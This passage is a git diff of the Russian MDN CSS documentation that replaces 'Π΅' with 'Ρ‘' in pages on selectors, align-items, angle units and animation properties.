+<p>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ элСмСнта <code>style</code> содСрТимым ΠΌΡ‹ Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌ всС  slotted-элСмСнты (<code>::slotted(*)</code>) ΠΈ Π·Π°Π΄Π°Ρ‘ΠΌ ΠΈΠΌ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚. Π­Ρ‚ΠΎ позволяСт ΠΈΠΌ Π»ΡƒΡ‡ΡˆΠ΅ Π²Ρ‹Π΄Π΅Π»ΡΡ‚ΡŒΡΡ рядом с Ρ‚Π΅ΠΌΠΈ слотами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Ρ‘ Π½Π΅ Π±Ρ‹Π»ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Ρ‹.</p>
<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΏΡ€ΠΈ вставкС Π½Π° страницу:</p>
diff --git a/files/ru/web/css/adjacent_sibling_combinator/index.html b/files/ru/web/css/adjacent_sibling_combinator/index.html
index 42893ac5e3..d5762bba46 100644
--- a/files/ru/web/css/adjacent_sibling_combinator/index.html
+++ b/files/ru/web/css/adjacent_sibling_combinator/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/Adjacent_sibling_combinator
---
<p>{{CSSRef("Selectors")}}</p>
-<p>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° смСТный ΠΈΠ»ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ сСлСктор. ΠžΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°Π΅Ρ‚ Π²Ρ‹Π±ΠΎΡ€ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ элСмСнта располоТСнного нСпосрСдствСнно Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ части элСмСнтом.</p>
+<p>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° смСТный ΠΈΠ»ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ сСлСктор. ΠžΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°Π΅Ρ‚ Π²Ρ‹Π±ΠΎΡ€ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ элСмСнта располоТСнного нСпосрСдствСнно Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ части элСмСнтом.</p>
<h2 id="Бинтакс">Бинтакс</h2>
@@ -29,7 +29,7 @@ translation_of: Web/CSS/Adjacent_sibling_combinator
<p>{{EmbedLiveSample('Example_1', 200, 100)}}</p>
-<p>Π’Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для задания стиля ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ класса "caption span" ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ…Β {{HTMLElement("img")}} Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… элСмСнтов:</p>
+<p>Π’Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для задания стиля ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ класса "caption span" ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ…Β {{HTMLElement("img")}} Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… элСмСнтов:</p>
<pre class="brush: css">img + span.caption {
font-style: italic;
diff --git a/files/ru/web/css/align-items/index.html b/files/ru/web/css/align-items/index.html
index 9d5a7f5843..705ea1dea0 100644
--- a/files/ru/web/css/align-items/index.html
+++ b/files/ru/web/css/align-items/index.html
@@ -42,10 +42,10 @@ align-items: unset;
<dt><code>normal</code></dt>
<dd>Π­Ρ„Ρ„Π΅ΠΊΡ‚ этого ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова зависит ΠΎΡ‚ Ρ€Π΅ΠΆΠΈΠΌΠ° ΠΌΠ°ΠΊΠ΅Ρ‚Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ находимся::
<ul>
- <li>Π’ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΌΠ°ΠΊΠ΅Ρ‚Π°Ρ… ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code> Π² <em>Π·Π°ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Ρ…</em> Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π±Π»ΠΎΠΊΠ°Ρ…, ΠΈ ΠΊΠ°ΠΊ <code>stretch</code> Π²ΠΎ <em>всСх Π΄Ρ€ΡƒΠ³ΠΈΡ…</em> Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π±Π»ΠΎΠΊΠ°Ρ….</li>
- <li>Π’ статичСском ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <code>stretch</code>.</li>
- <li>Для Π³ΠΈΠ±ΠΊΠΈΡ… элСмСнтов ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <code>stretch</code>.</li>
- <li>Для элСмСнтов сСтки это ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Π΅Ρ‚ ΠΊ повСдСнию, Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎΠΌΡƒ <code>stretch</code>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎΠ»Π΅ΠΉ с ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ сторон ΠΈΠ»ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², Π³Π΄Π΅ ΠΎΠ½ΠΎ Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code>.</li>
+ <li>Π’ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΌΠ°ΠΊΠ΅Ρ‚Π°Ρ… ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code> Π² <em>Π·Π°ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Ρ…</em> Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π±Π»ΠΎΠΊΠ°Ρ…, ΠΈ ΠΊΠ°ΠΊ <code>stretch</code> Π²ΠΎ <em>всСх Π΄Ρ€ΡƒΠ³ΠΈΡ…</em> Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π±Π»ΠΎΠΊΠ°Ρ….</li>
+ <li>Π’ статичСском ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <code>stretch</code>.</li>
+ <li>Для Π³ΠΈΠ±ΠΊΠΈΡ… элСмСнтов ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <code>stretch</code>.</li>
+ <li>Для элСмСнтов сСтки это ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Ρ‘Ρ‚ ΠΊ повСдСнию, Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎΠΌΡƒ <code>stretch</code>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎΠ»Π΅ΠΉ с ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ сторон ΠΈΠ»ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², Π³Π΄Π΅ ΠΎΠ½ΠΎ Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <code>start</code>.</li>
<li>Π­Ρ‚ΠΎ свойство Π½Π΅ примСняСтся ΠΊ Π±Π»ΠΎΠΊΠ°ΠΌ уровня Π±Π»ΠΎΠΊΠ° ΠΈ ΠΊ ячСйкам Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</li>
</ul>
</dd>
diff --git a/files/ru/web/css/all/index.html b/files/ru/web/css/all/index.html
index 632ac959d2..1510ac6c3b 100644
--- a/files/ru/web/css/all/index.html
+++ b/files/ru/web/css/all/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/all
<h2 id="ОписаниС">ОписаниС</h2>
-<p>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ свойство CSS<em>Β </em><code><strong>all</strong></code> сбрасываСт всС свойства, ΠΊΡ€ΠΎΠΌΠ΅ {{cssxref("unicode-bidi")}} ΠΈ {{cssxref("direction")}}, Π΄ΠΎ ΠΈΡ… Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ унаслСдованного значСния.</p>
+<p>Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ свойство CSS<em>Β </em><code><strong>all</strong></code> сбрасываСт всС свойства, ΠΊΡ€ΠΎΠΌΠ΅ {{cssxref("unicode-bidi")}} ΠΈ {{cssxref("direction")}}, Π΄ΠΎ ΠΈΡ… Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ унаслСдованного значСния.</p>
<p>{{cssinfo}}</p>
@@ -78,7 +78,7 @@ blockquote {
blockquote { background-color: skyblue; color: red; }</pre>
{{EmbedLiveSample("ex0", "200", "125")}}
-<p>{{HTMLElement("blockquote")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ стили Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ вмСстС с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Ρ„ΠΎΠ½ΠΎΠΌ ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠΌ тСкста. Он Ρ‚Π°ΠΊΠΆΠ΅ Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <em>block </em>элСмСнт<em> </em>: тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт Π·Π° Π½ΠΈΠΌ, находится ΠΏΠΎΠ΄ Π½ΠΈΠΌ.</p>
+<p>{{HTMLElement("blockquote")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ стили Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ вмСстС с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Ρ„ΠΎΠ½ΠΎΠΌ ΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠΌ тСкста. Он Ρ‚Π°ΠΊΠΆΠ΅ Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠ°ΠΊ <em>block </em>элСмСнт<em> </em>: тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт Π·Π° Π½ΠΈΠΌ, находится ΠΏΠΎΠ΄ Π½ΠΈΠΌ.</p>
</div>
<div id="ex1" style="display: inline-block; width: 225px; vertical-align: top;">
diff --git a/files/ru/web/css/angle/index.html b/files/ru/web/css/angle/index.html
index 782c6c4fe5..c4a228aca3 100644
--- a/files/ru/web/css/angle/index.html
+++ b/files/ru/web/css/angle/index.html
@@ -46,7 +46,7 @@ translation_of: Web/CSS/angle
</tr>
<tr>
<td><img alt="Angle180.png" class="default internal" src="/@api/deki/files/5706/=Angle180.png"></td>
- <td>Π Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ ΡƒΠ³ΠΎΠ»: <code>180deg = 200grad = 0.5turn</code><code> </code><code style="white-space: nowrap;">β‰ˆ</code><code> 3.1416rad</code></td>
+ <td>Π Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ ΡƒΠ³ΠΎΠ»: <code>180deg = 200grad = 0.5turn</code><code> </code><code style="white-space: nowrap;">β‰ˆ</code><code> 3.1416rad</code></td>
</tr>
<tr>
<td><img alt="AngleMinus90.png" class="default internal" src="/@api/deki/files/5707/=AngleMinus90.png"></td>
diff --git a/files/ru/web/css/animation-delay/index.html b/files/ru/web/css/animation-delay/index.html
index 55e5c537eb..48c0109f18 100644
--- a/files/ru/web/css/animation-delay/index.html
+++ b/files/ru/web/css/animation-delay/index.html
@@ -17,7 +17,7 @@ translation_of: Web/CSS/animation-delay
<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 0s, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ являСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ анимация Π΄ΠΎΠ»ΠΆΠ½Π° Π½Π°Ρ‡Π°Ρ‚ΡŒΡΡ Π½Π΅ΠΏΡ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС, старт Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π»ΠΎΠΆΠ΅Π½ Π½Π° ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ врСмя.</p>
-<p>ΠŸΡ€ΠΈ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ значСния, анимация Ρ‚Π°ΠΊΠΆΠ΅ начнСтся Π½Π΅ΠΏΡ€Π΅ΠΌΠ΅Π½Π½ΠΎ, Π½ΠΎ Π΅Π΅ воспроизвСдСниС начнСтся Π½Π΅ с ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π°, Π° Ρ‚Π°ΠΊ, Π±ΡƒΠ΄Ρ‚ΠΎ Ρ‡Π°ΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΡƒΠΆΠ΅ Π±Ρ‹Π»Π° ΠΏΠΎΠΊΠ°Π·Π°Π½Π°. НапримСр, Ссли Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ -1s, анимация Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ‡Π°Ρ‚Π° с ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π°, ΠΊΠΎΠ³Π΄Π° 1 сСкунда Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΡƒΠΆΠ΅ Π±Ρ‹Π»Π° воспроизвСдСна.</p>
+<p>ΠŸΡ€ΠΈ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ значСния, анимация Ρ‚Π°ΠΊΠΆΠ΅ начнётся Π½Π΅ΠΏΡ€Π΅ΠΌΠ΅Π½Π½ΠΎ, Π½ΠΎ Π΅Ρ‘ воспроизвСдСниС начнётся Π½Π΅ с ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π°, Π° Ρ‚Π°ΠΊ, Π±ΡƒΠ΄Ρ‚ΠΎ Ρ‡Π°ΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΡƒΠΆΠ΅ Π±Ρ‹Π»Π° ΠΏΠΎΠΊΠ°Π·Π°Π½Π°. НапримСр, Ссли Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ -1s, анимация Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ‡Π°Ρ‚Π° с ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π°, ΠΊΠΎΠ³Π΄Π° 1 сСкунда Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΡƒΠΆΠ΅ Π±Ρ‹Π»Π° воспроизвСдСна.</p>
<p>{{cssinfo}}</p>
diff --git a/files/ru/web/css/animation-direction/index.html b/files/ru/web/css/animation-direction/index.html
index 52d0de3720..f07376ed79 100644
--- a/files/ru/web/css/animation-direction/index.html
+++ b/files/ru/web/css/animation-direction/index.html
@@ -7,9 +7,9 @@ translation_of: Web/CSS/animation-direction
<h2 id="ОписаниС">ОписаниС</h2>
-<p>CSS-свойство <strong><code>animation-direction</code></strong> опрСдСляСт, Π΄ΠΎΠ»ΠΆΠ½Π° Π»ΠΈ анимация Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π²ΠΏΠ΅Ρ€Π΅Π΄, Π½Π°Π·Π°Π΄ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π²ΠΏΠ΅Ρ€Π΅Π΄ ΠΈ Π½Π°Π·Π°Π΄.<br>
+<p>CSS-свойство <strong><code>animation-direction</code></strong> опрСдСляСт, Π΄ΠΎΠ»ΠΆΠ½Π° Π»ΠΈ анимация Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π²ΠΏΠ΅Ρ€Ρ‘Π΄, Π½Π°Π·Π°Π΄ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π²ΠΏΠ΅Ρ€Ρ‘Π΄ ΠΈ Π½Π°Π·Π°Π΄.<br>
<br>
- <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Π’Π°ΠΊΠΆΠ΅ ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сокращСнноС свойство {{cssxref("animation")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ всС свойства Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</span></p>
+ <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Π’Π°ΠΊΠΆΠ΅ ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сокращённоС свойство {{cssxref("animation")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ всС свойства Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</span></p>
<p>{{cssinfo}}</p>
@@ -35,7 +35,7 @@ animation-direction: unset;
<dl>
<dt><code>normal</code></dt>
- <dd>Анимация проигрываСтся Π²ΠΏΠ΅Ρ€Π΅Π΄ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° анимация заканчиваСтся, ΠΎΠ½Π° сразу сбрасываСтся Π² <em>Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ </em>ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ снова проигрываСтся. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
+ <dd>Анимация проигрываСтся Π²ΠΏΠ΅Ρ€Ρ‘Π΄ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° анимация заканчиваСтся, ΠΎΠ½Π° сразу сбрасываСтся Π² <em>Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ </em>ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ снова проигрываСтся. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
<dt><code>reverse</code></dt>
<dd>Анимация проигрываСтся Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚, с <em>послСднСго </em>полоТСния Π΄ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΈ ΠΏΠΎΡ‚ΠΎΠΌ снова сбрасываСтся Π² <em>ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ </em>ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ снова проигрываСтся.</dd>
<dt><code>alternate</code></dt>
diff --git a/files/ru/web/css/animation-duration/index.html b/files/ru/web/css/animation-duration/index.html
index 7ca194463f..65e47aea2b 100644
--- a/files/ru/web/css/animation-duration/index.html
+++ b/files/ru/web/css/animation-duration/index.html
@@ -13,7 +13,7 @@ translation_of: Web/CSS/animation-duration
<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <strong><code>0s</code>Β </strong>опрСдСляСт, Ρ‡Ρ‚ΠΎ анимация Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ.</p>
-<p>Π£Π΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сокращСнноС свойство {{ cssxref("animation") }} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ сразу всС свойства Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
+<p>Π£Π΄ΠΎΠ±Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сокращённоС свойство {{ cssxref("animation") }} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ сразу всС свойства Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
<p>{{cssinfo}}</p>
diff --git a/files/ru/web/css/animation-fill-mode/index.html b/files/ru/web/css/animation-fill-mode/index.html
index 2549e3ac2d..855d8dad42 100644
--- a/files/ru/web/css/animation-fill-mode/index.html
+++ b/files/ru/web/css/animation-fill-mode/index.html
@@ -11,7 +11,7 @@ translation_of: Web/CSS/animation-fill-mode
<h2 id="ОписаниС">ОписаниС</h2>
-<p><a href="/en/CSS" title="CSS">CSS</a> свойство <strong><code>animation-fill-mode</code></strong> опрСдСляСт, ΠΊΠ°ΠΊ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ стили ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈΒ Π΄ΠΎ и послС Π΅Π΅ выполнСния.</p>
+<p><a href="/en/CSS" title="CSS">CSS</a> свойство <strong><code>animation-fill-mode</code></strong> опрСдСляСт, ΠΊΠ°ΠΊ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ стили ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈΒ Π΄ΠΎ и послС Π΅Ρ‘ выполнСния.</p>
<p>{{cssinfo}}</p>
@@ -32,7 +32,7 @@ animation-fill-mode: both, forwards, none;
<dl>
<dt><code>none</code></dt>
- <dd>Π‘Ρ‚ΠΈΠ»ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΊ элСмСнту до ΠΈ послС Π΅Π΅ выполнСния.</dd>
+ <dd>Π‘Ρ‚ΠΈΠ»ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΊ элСмСнту до ΠΈ послС Π΅Ρ‘ выполнСния.</dd>
<dt><code>forwards</code></dt>
